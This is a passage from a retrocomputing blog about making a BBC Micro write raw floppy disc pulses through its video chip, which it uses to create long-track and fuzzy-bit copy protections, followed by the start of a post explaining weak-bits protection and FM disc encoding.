uncertain range. Where will the drive write data? Maybe the upper side, maybe the lower side. Or maybe neither or both! This was resolved by connecting every significant wire and driving it high or low as desired.</li></ul><div><br /></div></div><div><font size="5">The quest for more bandwidth</font></div><div><br /></div><div>The elephant in the room is: how do we provide a signal to the W/DATA pin? This is the "hard" pin. It is high bandwidth and has precise timing requirements. Let's stop dreaming about nanoseconds-level precision fuzzy bits for a moment and try and write basic FM pulses to the drive.</div><div><br /></div><div>Most BBC Micro discs are FM (aka. DFM aka. single denisty) encoded at 250kHz. To write a FM track is actually pretty simple. Make sure drive is spinning and the write gate is open. Now, every 4 microseconds, either pulse W/DATA low then back to high (a 1 bit) or do not (a 0 bit). Most of the time, every other bit must be a 1 (a clock bit to maintain timing and synchronization).</div><div><br /></div><div>Driving W/DATA using the CPU is hopeless. 4 microseconds is 8 CPU cycles -- certainly not enough to perhaps load a byte, shift it, and write a 0 then a 1 to the user port logic levels. A simple loop is likely to be 12+ microseconds which is way out of range. Instead, to hope to drive W/DATA fast enough, we must look to facilities of the 6522 VIA chip.</div><div><br /></div><div><b>6522 VIA shift register</b></div><div><br /></div><div>The most obvious candidate for our task is the shift register. The shift register is an 8-bit register. When in the appropriate mode, loading the shift register will cause the chip to sequentially emit the 8 bits over one of the pins of the user port. This is great -- the bits are being dealt with in parallel with the main CPU's execution, so the CPU is free to spend its time working out the next set of bits to start shifting.</div><div><br /></div><div>Unfortunately, I was unable to get it to work. The only shift mode that has the potential to be fast enough is "shift out at system clock rate". The <a href="https://www.mdawson.net/vic20chrome/peripheral/w65c22s.pdf" target="_blank">Western Design Center 6522 datasheet</a> has a good diagram:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx4SXb-EcMVsxe7M5GbK030l0qsT4c22vs6J_UjxMCC06ZEgKCjOk3pxQAl7Yt0OuGO2za63tB3PtH_gmq1mQkuyIEzqcoVyBukLPD3YeiX3YnntaEaeiYa8YajZLAoSc-ZgqiWqV5U72p/s659/wdc_shift.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="306" data-original-width="659" height="298" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhx4SXb-EcMVsxe7M5GbK030l0qsT4c22vs6J_UjxMCC06ZEgKCjOk3pxQAl7Yt0OuGO2za63tB3PtH_gmq1mQkuyIEzqcoVyBukLPD3YeiX3YnntaEaeiYa8YajZLAoSc-ZgqiWqV5U72p/w640-h298/wdc_shift.png" width="640" /></a></div><div><br /></div><div>The VIA system clock is 1MHz so the shift clock will be a 500kHz signal and the resolution of the bits we can output is 250kHz. That's just enough. However, I did not work out how to get the shift clock running continuously and smoothly. Even with attempts at precise timing for shift register reloading, the scope output for the shift clock pin always looked like this:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioeyZySZ49vRjsnHLaM5dRzt7crcZum83YdlooAKKrykAj0xtOnSCLxBv4RdDFYDvBh12NRONQqVtEqRFox80gpyTHx22R47yzWll3a_qsimAbTV4GXjmqybNHYkzoSmF8Mn50UlvNa-2V/s3648/IMG_8822.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioeyZySZ49vRjsnHLaM5dRzt7crcZum83YdlooAKKrykAj0xtOnSCLxBv4RdDFYDvBh12NRONQqVtEqRFox80gpyTHx22R47yzWll3a_qsimAbTV4GXjmqybNHYkzoSmF8Mn50UlvNa-2V/w400-h300/IMG_8822.JPG" width="400" /></a></div><div><br /></div><div>It would appear that in the only shift mode fast enough to have a shot, reloading the shift register incurs a delay before shifting resumes. This is not suitable.</div><div><br /></div><div><b>6522 VIA pulse output mode</b></div><div><div><br /></div><div>A little-known feature of the 6522 is its "pulse output mode". Not every 6522 variant datasheet covers it but here is the tiny entry in the <a href="https://en.wikipedia.org/wiki/MOS_Technology" target="_blank">MOS Technology</a> <a href="http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf" target="_blank">datasheet</a>:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVwDio4uj9mWgQfi78Eg_mzqHcsccpPW7ox5VPpUbE4xtPvMeEKd1ZxjlrOvIVEK2LoORLjZST6_pYDp_aTnUOpJKw7zTyknT99xnUzK-CLqaqpFg_dUD0uJUWYNv3sOUBJmQBDVEmmrEc/s534/cb2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="534" height="48" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVwDio4uj9mWgQfi78Eg_mzqHcsccpPW7ox5VPpUbE4xtPvMeEKd1ZxjlrOvIVEK2LoORLjZST6_pYDp_aTnUOpJKw7zTyknT99xnUzK-CLqaqpFg_dUD0uJUWYNv3sOUBJmQBDVEmmrEc/w640-h48/cb2.png" width="640" /></a></div><div><br /></div><div>For once, the datasheet appears to accurately describe behavior. This mode is very interesting to us because one write to the VIA promises two distinct effects: an output pin will go to logic low, and then raise to logic high again 1 cycle (1 microsecond) later with no further effort from us. Because of that, it <b>is</b> tractable to use this to drive a 250kHz output signal. CPU is very tight; a loop is way out of the question but a linear 6502 code block can do it, e.g.:</div><div><br /></div><div><font face="courier"><span> </span><span> \ &70 points to &FE60, aka. user 6522 VIA ORB register.</span><br /></font></div><div><font face="courier"><span> </span><span> STA (&70),Y<span> </span><span> </span><span><span>\ 8 cycles, pulse output</span></span></span><br /></font></div><div><font face="courier"><span><span> </span><span> STA</span></span> (&70),Y<span> </span><span> </span>\ 8 cycles, pulse output</font></div><div><font face="courier"><span> </span><span> STA</span> (&70),Y<span> </span><span> </span>\ 8 cycles, pulse output</font></div><div><font face="courier"><span> </span><span> LDA</span> (&70),Y<span> </span><span> </span>\ 8 cycles, do not pulse output</font></div><div><font face="courier"><span> </span><span> STA</span> (&70),Y<span> </span><span> </span>\ 8 cycles, pulse output</font></div><div><font face="courier"><span> </span><span> ...</span></font><br /></div><div><span><br /></span></div><div><span>This works. There is just enough CPU horsepower to do it. 8 cycles is 4 microseconds, which is the shortest time between disc pulses.</span></div><div><span><br /></span></div><div>Unfortunately it is <b>extremely</b> memory intensive. 2 bytes of linear 6502 code are required per FM encoded bit. One useful data bit is 2 FM bits because every other bit is a clock bit. A track is 3125 bytes so this requires 3125 * 8 * 2 * 2 == 100kB of linear code. The BBC Micro has 32kB of RAM so we are out of luck here. It's possible to write single (smaller) sectors including some powerful novel disc protection mechanisms. But we can't write large (1024 byte) sectors or full tracks. Both of these things are required to correctly write many discs. Furthermore, our timing resolution is 1 microsecond, which is not good enough to write many advanced protections and disc surfaces.</div><div><br /></div><div>We can be happy that we got something working at all, given the constraints, but it isn't a fully satisfying solution.</div><div><br /></div><div><b>Help from an unlikely output port</b></div></div><div><br /></div><div>It's fortunate I hang out with clever people such as the <a href="https://bitshifters.github.io/" target="_blank">Bitshifters Collective</a>. (Please go and watch the latest demo, <a href="https://www.youtube.com/watch?v=oK2D1EdFXMM" target="_blank">Evil Influences</a>, immediately!) In a Slack conversation, Tom Seddon (author of the <a href="https://github.com/tom-seddon/b2" target="_blank">b2 emulator</a>) suggested... using the output of the RGB port??</div><div><br /></div><div>A video-to-disc cable... you don't see those on Amazon every day.</div><div><br /></div><div>It's an idea I may have chuckled at initially but the more I reflected on it, the more it seemed that it might be possible. The BBC Micro uses the <a href="https://en.wikipedia.org/wiki/Motorola_6845" target="_blank">6845 video chip</a> for timing. Like the 6522, it's a quirky beast but at least the quirks are well understood on account of Bitshifters' demos which abuse the 6845. I also did some reversing work to make the <a href="jsbeeb emulator" target="_blank">jsbeeb emulator</a> correctly emulate the Hitachi 6845. Let's see Oiled Otter working in this video and then describe what we saw:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/mdvwFpZ_G2U" width="320" youtube-src-id="mdvwFpZ_G2U"></iframe></div><div><br /></div><div>[Inline video not showing? Direct link: <a href="https://www.youtube.com/watch?v=mdvwFpZ_G2U">https://www.youtube.com/watch?v=mdvwFpZ_G2U</a>]</div><div><br /></div><div>It works by configuring the 6845 chip unusually. The 6845 is run at 1MHz and frame timing is set to be a single 32 microsecond / 32 byte scanline per "frame". While every frame is being output, the 6845's video memory registers are rewritten to fetch the next 32 bytes from a potentially different location. So every 32 microseconds, a different output pattern is selected from a table of output patterns. We have configured the RGB pins to emit 8 pixels per microsecond, which is 256 pixels per output pattern. This gives a huge number of different possible output patterns. But since we're writing a 32 microsecond chunk of disc FM encodings, only a few patterns make sense. In 32 microseconds, we can fit 8 FM pulses / bits. 4 bits will be clock bits, which are usually all 1. 4 bits will be data bits, of which there are just 16 combinations.</div><div><br /></div><div>For example, if we're writing the data nibble 0x5, the 32 microsecond output needs to look like this:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVGclLjr48KIMK9BzW3rRpqakY-HrBNRLHYfdJMeAZF9OZlIZkP6wD3wHlVkoPGOwNAIbCJo7oIzetuaOC0b3YVyjhU6GHEGQu03B63Bkr3byd4Cltxm3E2GUlZush8lOIIKTc8Fi2xKV3/s545/r_output.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="304" data-original-width="545" height="223" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVGclLjr48KIMK9BzW3rRpqakY-HrBNRLHYfdJMeAZF9OZlIZkP6wD3wHlVkoPGOwNAIbCJo7oIzetuaOC0b3YVyjhU6GHEGQu03B63Bkr3byd4Cltxm3E2GUlZush8lOIIKTc8Fi2xKV3/w400-h223/r_output.png" width="400" /></a></div><div><br /></div><div>The video data bytes would be 00FFFFFFFFFFFFFF00FFFFFF00FFFFFF00FFFFFFFFFFFFFF00FFFFFF00FFFFFF. The 1st, 2nd, 4th and 5th 00s are the clock bits. In between the clock bits is the data bit pattern 0101, or 0x5.</div><div><br /></div><div>The CPU and memory constraints balance out nicely. In the end, it's a similar setup to as if the VIA shift register had worked: some little co-processor (the video chip) is busy emitting a bunch of FM bits while the CPU is freed up to load and provide the next pattern. The memory requirements are very reasonable. The table of necessary 32 microsecond output chunks fits comfortably within 1024 bytes, thanks to the use of a special linear addressing mode. The list of look up indexes for an entire track is around 12kB, so everything is fitting nicely in the BBC Micro's 32kB of RAM.</div><div><br /></div><div><font size="5">BBC Micro / 6845 quirks</font></div><div><br /></div><div><b>6845 last character / column</b></div><div><br /></div><div>Of course, getting this working didn't come without tripping over some "fun" quirks. The first of these is the 6845's quirk whereby it outputs black for the last character of every scanline. It is the bane of demo writers as well as disc pioneers, it seems. Here's a slide from a recent talk I gave showing the issue:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWzVyD02kaGDJu6RLhKpytRlu_wglZieUs2U_RHGMS5qdiMuB6sfcG2y9HhZm39HTMlsYczGYGc8JAkhegXcsG7kXTq9xi6inUBjnravIcNxxFoZa_F4QcSQWzX7PQILhuPPmHn21yqrT7/s960/Connecting+a+disc+drive+to+the+BBC+Micro+user+port+%25281%2529.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="540" data-original-width="960" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWzVyD02kaGDJu6RLhKpytRlu_wglZieUs2U_RHGMS5qdiMuB6sfcG2y9HhZm39HTMlsYczGYGc8JAkhegXcsG7kXTq9xi6inUBjnravIcNxxFoZa_F4QcSQWzX7PQILhuPPmHn21yqrT7/w640-h360/Connecting+a+disc+drive+to+the+BBC+Micro+user+port+%25281%2529.png" width="640" /></a></div><div><br /></div><div>On the left, there's a demo effect plagued by vertical black stripes caused by the "last character / column is black" issue. Multiple 6845 scanlines were placed inside a single raster beam scanline and unfortunately, the black stripes are unwanted. When used to drive a disc, the effect is arguably worse: the black stripes represent unwanted pulses written to the disc.</div><div><br /></div><div>On the right, there's an image of the solution: the waveform submitted to the disc is simply inverted. It is now ok for the last column to be black (shown in orange outline) because a zero value is always required there. Technically, this is a violation of some disc drives' timing requirements for pulsing W/DATA low. Here's a timing diagram for a drive from the era, a <a href="http://www.bitsavers.org/pdf/mitsubishi/floppy/M4852_M4853/M4852_M4853_Specifications.pdf" target="_blank">Mitsubishi M4852/M4853</a>:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZMw_jq0oSKrLgUB74uowdiRLbPyEtjau4msXxUvk2zIJepTjSFhfCEWmwve4UXtiO2AXsG_0ddwBdUroThlkzYyRUjoaq-5_MgtnjgWXM14IQ-aTtVKBbW4p7iKo718DbRiD0d8GZcxeZ/s569/m4852_write.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="569" height="406" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZMw_jq0oSKrLgUB74uowdiRLbPyEtjau4msXxUvk2zIJepTjSFhfCEWmwve4UXtiO2AXsG_0ddwBdUroThlkzYyRUjoaq-5_MgtnjgWXM14IQ-aTtVKBbW4p7iKo718DbRiD0d8GZcxeZ/w640-h406/m4852_write.png" width="640" /></a></div><div><br /></div><div>According to this diagram, logic 0 should be held for up to 2100ns. With an inverted waveform, 3000ns+ is to be expected. However, the drives I have only care about negative-going data pulses and not the hold time. This is not surprising. It would be possible to jiggle a few things around to avoid the 6845 quirk and also submit in-spec hold timings but this has not proven necessary so it has not been undertaken.</div><div><br /></div><div><b>DRAM decay</b></div><div><br /></div><div>DRAM decay is a horror. It is what happens when you fail to refresh DRAM. From the <a href="https://en.wikipedia.org/wiki/Memory_refresh" target="_blank">Wikipedia article on memory refresh</a>:</div><div><br /></div></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div><div style="text-align: left;"><span>"</span>This process is conducted automatically in the background by the memory circuitry and is transparent to the user."</div></div></blockquote><div><div><br /></div><div>On a modern system yes, but on a BBC Micro not so much. On the BBC Micro, DRAM refresh is a side effect of the video subsystem. It relies on the fact that standard screen modes iterate across all DRAM rows within a short period of time. Perhaps you can see where this is going.... our special video mode used to output 32 microsecond frames is very much not a standard screen mode. It does not guarantee to visit all DRAM rows so DRAM decay will occur! DRAM decay is no joke. I lost various programs and disc contents due to unplanned DRAM decay. For a laugh, here's a BASIC program that inflicted DRAM decay on itself for a fraction of a second:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWUebl7o5goU7N677YHiZWLUb6y-RSFrLaK-obksAs5R-cckdEsC3TesBUnfHoCAp6LzQhvOm0DKOc779hyZoeBC7ZbB41zci7YGzHlrt7azvcPfDAtmgvcywgvXEN0VpQTuSztpiKHjGz/s3648/IMG_8823.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWUebl7o5goU7N677YHiZWLUb6y-RSFrLaK-obksAs5R-cckdEsC3TesBUnfHoCAp6LzQhvOm0DKOc779hyZoeBC7ZbB41zci7YGzHlrt7azvcPfDAtmgvcywgvXEN0VpQTuSztpiKHjGz/w400-h300/IMG_8823.JPG" width="400" /></a></div><div><br /></div><div>The bad news with DRAM decay is that if you are bitten by it, you can easily lose data.</div><div><br /></div><div>The good news with DRAM decay is that if you are expecting it, you can usually easily work around it. In the case of the Oiled Otter, there are various critical loops with the 6845 video chip in an unusual state. For each of these, a manual incrementing memory fetch is worked in to maintain DRAM refresh.</div><div><br /></div><div><font size="5">Capabilities unlocked</font></div><div><br /></div></div><div>Now that we have a working disc writing system, bypassing the floppy disc controller, what can we do with it? We've already demonstrated the ability to write arbitrary FM encoded discs in the video above. </div><div><br /></div><div>But we have gotten very lucky along this journey. Thanks to VIA shift register's deficiencies forcing us to find the video output pin solution, <b>we have access to much finer grained timing resolution on the W/DATA pin</b>. We're using the BBC Micro MODE4 which uses an 8MHz pixel clock. This means <b>we can output black or white pixels every 125ns, triggering a write pulse with 125ns granularity</b>. If we wanted to spend a little extra memory (which we do have) on larger tables, we could use MODE0 which uses a 16MHz pixel clock, affording 62.5ns resolution. 125ns has proved just fine for all tested disc protections, but it's a nice feeling to have a little bit left in the tank.</div><div><br /></div><div><b>Long track protection</b></div><div><br /></div><div>My favorite disc protection is long track protection. It was <a href="https://diskpreservation.com/dp.php?pg=protection_amiga" target="_blank">popular in the Amiga days</a>. I do not believe it was ever used on the BBC Micro. I like long track protection because it is very fundamental: the floppy disc controller has a broad tolerance for differing read speeds (because disc drives rotate at differing speeds) but it only writes at the one correct speed.</div><div><br /></div><div>An advanced long track protection is to write two sectors on the same track with one recorded at a faster rate. The copy protection check is to compare the time taken to read the two sectors. The sector recorded at the faster rate should read measurably and significantly faster.</div><div><br /></div><div>Can Oiled Otter write such a track? Yes, fairly easily. Given the 125ns output resolution, it's easy to create a few output table entries that are like the normal ones, but with 125ns shaved off per 1 microsecond. Here is a video of creating long track protection and checking how it reads back:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/GBCR99ok89c" width="320" youtube-src-id="GBCR99ok89c"></iframe></div><div><br /></div><div>[Inline video not showing? Direct link: <a href="https://www.youtube.com/watch?v=GBCR99ok89c">https://www.youtube.com/watch?v=GBCR99ok89c</a>]</div><div><br /></div><div><b>Fuzzy bits protection</b></div><div><br /></div><div>We are probably overdue to return to where we started: fuzzy bits protection. Can Oiled Otter create fuzzy bits on 1981 tech? Let's give it a go. Here's an image of the results of reading a sector a couple of times after it was written with Oiled Otter's FUZZ command.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixwIcjZGVoOnw3xv7415o365QoaBD4JIXjrGmyaRQePdO2DiT-re3Yh1zycQtmIw1V1t_GYrP0KlXitaT6ziY9RaAQspXBcFPxm419CH4ZtQhoFOicPY00GsBQo3P_HrqzA29lp4S6OpPl/s3648/IMG_8879.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixwIcjZGVoOnw3xv7415o365QoaBD4JIXjrGmyaRQePdO2DiT-re3Yh1zycQtmIw1V1t_GYrP0KlXitaT6ziY9RaAQspXBcFPxm419CH4ZtQhoFOicPY00GsBQo3P_HrqzA29lp4S6OpPl/w400-h300/IMG_8879.JPG" width="400" /></a></div><div><br /></div><div>The FUZZ command writes the 0x8 data nibble, with the data bit progressively being delayed by 125ns increments. This is similar to the description of how the Dungeon Master fuzzy bits are written. As can be seen in the screenshot, the 0x88 data bytes soon start reading back incorrect and non-deterministically. But the variance isn't 100% random like weak bits -- the variance is whether the 0x8 bit is late enough to have a chance of being missed. If missed, you can still eyeball that there are patterns and themes to the madness.</div><div><br /></div><div>The above results are actually the application of fuzzy bit principles to FM encoded data. In FM encoding, every data bit is interleaved with a clock bit. This results in the bleeding of clock bits in to the data stream on occasion (see the 0xFF bytes in the first run above -- they are likely clock bits). The Dungeon Master protection uses fuzzy bits in conjunction with MFM. This leads to a calmer situation where the fuzzy bit drifts between two valid data bit encodings and does not mess up the clock! Of course, Oiled Otter can write MFM, GCR or any encoding you can dream up. It's all just different protocols for our fundamental primitive of being able to send a pulse to the drive at any time, with good resolution.</div><div><br /></div><div>For good measure, here's an oscilloscope view of the fuzzy bits on the disc. The peaks are somewhat irregular, and when two pulses are very close together (1 microsecond or so, far too close for any encoding standard), the strength of the flux reversal detected by the drive even starts to get weak.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXSs0QCVDUvYTNYk3eg459Ta0rKHwfso0dsSSGMnw10TYMRfbo3F-9sD7G0Zx5YFqy6cyaDfdSfRxK2mB0fK6e77R3ICyjHNfw_etx7O2RvhlXSQfoxW0iH825_zc_uBorU5yUjp2Sw8NW/s3648/IMG_8882.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXSs0QCVDUvYTNYk3eg459Ta0rKHwfso0dsSSGMnw10TYMRfbo3F-9sD7G0Zx5YFqy6cyaDfdSfRxK2mB0fK6e77R3ICyjHNfw_etx7O2RvhlXSQfoxW0iH825_zc_uBorU5yUjp2Sw8NW/w400-h300/IMG_8882.JPG" width="400" /></a></div><div><br /></div><div><b>Mission accomplished</b>. We gained the ability to write disc pulses with 125ns granularity. This is perfectly sufficient to create advanced disc protections including long tracks, weak bits and fuzzy bits. Not bad for 1981 hardware with a 1 microsecond fastest instruction!</div><div><br /></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com3tag:blogger.com,1999:blog-3024470480937744884.post-62045486121034764812020-06-27T13:55:00.000-07:002020-06-27T13:55:13.444-07:00Weak bits floppy disc protection: an alternate origins story on 8-bitFloppy disc copy protection schemes are varied and interesting. It's an interesting intellectual challenge: what schemes can be created whereby home computers could reliably read a given disc, but not be able to easily (or at all) write that data back in the same format?<div><br /></div><div>When talking about floppy disc copy protection code, I find it useful to split into two separate pieces:</div><div><ul style="text-align: left;"><li>The on-disc bits that are tricky to replicate.</li><li>The loader code that obfuscates the check of the on-disc bits and the game code, making the check hard to "patch out".</li></ul><div>This post concerns the former: on-disc bits. Some of my favorite on-disc schemes include the so-called "<a href="https://en.wikipedia.org/wiki/Spiradisc" target="_blank">Spiradisc</a>" protection scheme and the fuzzy bits scheme used by Dungeon Master for the Atari ST, as <a href="http://dmweb.free.fr/?q=node/1429">explained in excellent detail in this article</a>. I also recommend this great overview of <a href="https://c64preservation.com/dp.php?pg=protection" target="_blank">Commodore 64 disc protection schemes</a>. To be charitable, the Commodore 64 had a.... "quirky" disc drive setup.</div></div><div><div><br /></div><div>I recently encountered an on-disc scheme on a BBC Micro disc that was more sophisticated than I was expecting: weak bits. Weak bits and similar schemes were celebrated in the 16-bit era but here we have it in the 8-bit era.</div><div><br /></div><div><b><font size="5">Floppy what now?</font></b></div></div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVRaeggxnNaVFk7x1XLJ49DU7kRh4Av-NH-Aqxa7D-jz7aY-E17W6zNqNTwOQGyMY-SurN_hmWAezU8nRupYDE-Drrm1P5J0z_A5XwbYFH5PBnaV5jfaECJzw12T2No75pe-TklM9g57ap/s1920/1920px-Floppy_disk_2009_G1.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="933" data-original-width="1920" height="312" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVRaeggxnNaVFk7x1XLJ49DU7kRh4Av-NH-Aqxa7D-jz7aY-E17W6zNqNTwOQGyMY-SurN_hmWAezU8nRupYDE-Drrm1P5J0z_A5XwbYFH5PBnaV5jfaECJzw12T2No75pe-TklM9g57ap/w640-h312/1920px-Floppy_disk_2009_G1.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Only the left two are actually "floppy", and the middle 5.25" disc is actually called a "mini" floppy!</td></tr></tbody></table><div><br /></div><div>Floppy disc drives and controllers are likely simpler than you think. The job of the floppy drive is to take the analog magnetic information on a disc surface and turn it into a series of digital pulses. The job of the floppy controller is to take the series of digital pulses, discern timing, and generate a string of data bytes. The floppy controller usually also has the responsibility of spotting special marker bytes in the pulse stream so that distinct sectors can be identified.</div><div><br /></div><div>This oscilloscope trace from a 1980s disc drive may help you visualize things better:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTGkcGEviRArco4akzSB81fxoAjaThSvYALuIUp9s1PqtFOewBm-l_sz3NNeZaOC-9b5nla2Srp_jdApObgwr3VoorunpHUQgKCkTJt6iQF5ePz5fLpJMpxtcHBhr_swrkgyJocgU1xT7W/s3648/Raw_disc_surface_plus_read_data_output.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTGkcGEviRArco4akzSB81fxoAjaThSvYALuIUp9s1PqtFOewBm-l_sz3NNeZaOC-9b5nla2Srp_jdApObgwr3VoorunpHUQgKCkTJt6iQF5ePz5fLpJMpxtcHBhr_swrkgyJocgU1xT7W/w640-h480/Raw_disc_surface_plus_read_data_output.JPG" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Blue line is the analog amplified read head signal; yellow pulses are the digital read output from the drive</td></tr></tbody></table><div><br /></div><div>Every peak in the blue line is the drive head sensing a magnetic flux reversal on the disc surface. Upper and lower peaks are treated identically and result in a digital pulse getting sent to the disc controller, which is the yellow line.</div><div>Note that tools such as an OmniFlop, KryoFlux or GreaseWeazle might occasionally refer to "raw flux" reads or dumps but beware they that only get to see the yellow line in the trace above, which is a lossy view of the blue line.</div><div><br /></div><div>Looking at the yellow line, you may notice that there's a fairly regular cadence to the peaks. In fact, every 4 microseconds, there is a timing "slot" and there will either be a pulse or no pulse. If there's a pulse, that's a 1 bit. No pulse and that's a 0 bit. And as simple as that, there's a bit stream for the disc controller to interpret and hand off to the host computer.</div><div><br /></div><div>Different computers use different encoding schemes. We're focusing on the BBC Micro this post, where most discs used FM encoding, aka. single density. This is a very simple encoding, an evidenced by the fact we can eyeball the 0 and 1 bits in the scope trace above. <a href="https://en.wikipedia.org/wiki/Modified_frequency_modulation" target="_blank">MFM encoding</a> was generally more common in the era.</div><div><br /></div><div><b><font size="5">Sectors in the stream</font></b></div><div><br /></div><div>The disc controller takes the pulse stream and makes sense of it. As mentioned above, in FM (sometimes called DFM) encoding, each pulse or non-pulse represents a 1 or 0 bit. These bits are a mix of clock bits and actual data bits. Clock bits are needed for a couple of reasons: as a source of timing to sync to, and also to prevent the disc drive from thinking it has lost the signal. There must be a pulse at least every 8us to keep everything reliable. FM encoding takes the simple route: every other on-disc bit is a clock bit and they will all be 1 almost all of the time.</div><div><br /></div><div>So now we know how to separate data bits from clock bits, let's have a quick look at what a sequence of data bytes on the disc surface might look like. There's a simple protocol for describing sectors on the disc, called the "IBM Diskette", which is described in the <a href="http://www.nj7p.org/Manuals/PDFs/Intel/AFN-00223B.pdf" target="_blank">8271 datasheet</a>.</div><div><br /></div><div>It's fairly simple and it looks like this in hex:</div><div><br /></div><div><font face="courier" size="2"><span style="background-color: #b7e1cd;">FF FF FF 00 00 00</span> <b>FE</b> <span style="background-color: #e1bee7;">00 00 00 01 <font color="#b51200">F1 D3</font></span> <span style="background-color: #b7e1cd;">FF FF FF 00 00 00</span> <b>FB</b> <span style="background-color: #c6dafc;">01 02 03 04 05 ..</span></font></div><div><br /></div><div>The green data bytes are padding between sectors, or between sector headers and sector data. They help the controller maintain correct synchronization, and to re-gain synchronization at the correct point. The padding sequences are typically longer on a real disc, but are shortened above for clarity; they would still suffice.</div><div><br /></div><div>The sector header identification byte is the <b>FE</b>, which is followed by 4 bytes of sector header and a 2-byte CRC. The sector is declaring it is on track 0, head 0, and it is sector 0, sized 256 bytes. The CRC is correct. The sector data identification byte for non-deleted data is <b>FB</b>, and 256 bytes of data are expected to follow, then another 2-byte CRC. A typical track might contain 10 such padding + sector header + padding + sector data sequences.</div><div><br /></div><div>The astute reader would ask: "oh! but what if the FE or FB bytes occur in actual sector data, as they are bound to do from time to time?"<br /></div><div>That is a great question and the answer lies in the clock bits. Every byte above has 0xFF for its clock bits (all set) except 0xFE and 0xFB, which have 0xC7 for the clock bits. i.e. some of the clock bits are missing! That makes it possible to identify sector header and sector data markers accurately. Note that the combination of these special data bytes plus clock byte is chosen so that still, the invariant is keep that there are never 2 0 bits in a row on the disc surface.</div><div><br /></div><div><b><font size="5">BBC Micro disc protection journey</font></b></div><div><br /></div><div>The BBC Micro disc protection journey is a fairly meandering one. It seems to have been based on a classical arms race approach: a software publisher would publish a new disc with some new quirk on it, and then a new disc copy program would come out which understood the quirk. And repeat a few iterations!</div><div>The journey is also complicated by two very different disc controller chips being used during the machine's lifetime: the Intel 8271 and the <a href="https://en.wikipedia.org/wiki/Western_Digital_FD1771" target="_blank">Western Digital 1770/1772</a>. Both chips had different capabilities and quirks. A good copy protection on one of the chips might be trivial to copy on the other. Also, some earlier BBC Micro discs were made that did not end up being compatible with 1770 based systems.</div><div><br /></div><div>To enumerate some of the techniques seen:</div><div><ul style="text-align: left;"><li>Early Micro Power titles, such as <a href="http://bbcmicro.co.uk/game.php?id=62" target="_blank">Ghouls</a>, used non-standard numbers of sectors on many tracks, such as 5 sectors of 512 bytes each instead of 10 sectors of 256 bytes each. This is easy to copy if you have a copy program that checks the sector headers first and then decides how many there are and what sizes based on that. It would be easy to scoff at such a simple protection but it's likely it did what it needed to at the time of launch: prevent casual disc copying using the built-in DFS (Disc Filing System) commands *COPY or *BACKUP (both of which expected well-formatted DFS discs, which meant 10 sectors per track).</li><li>The Superior Software classic, <a 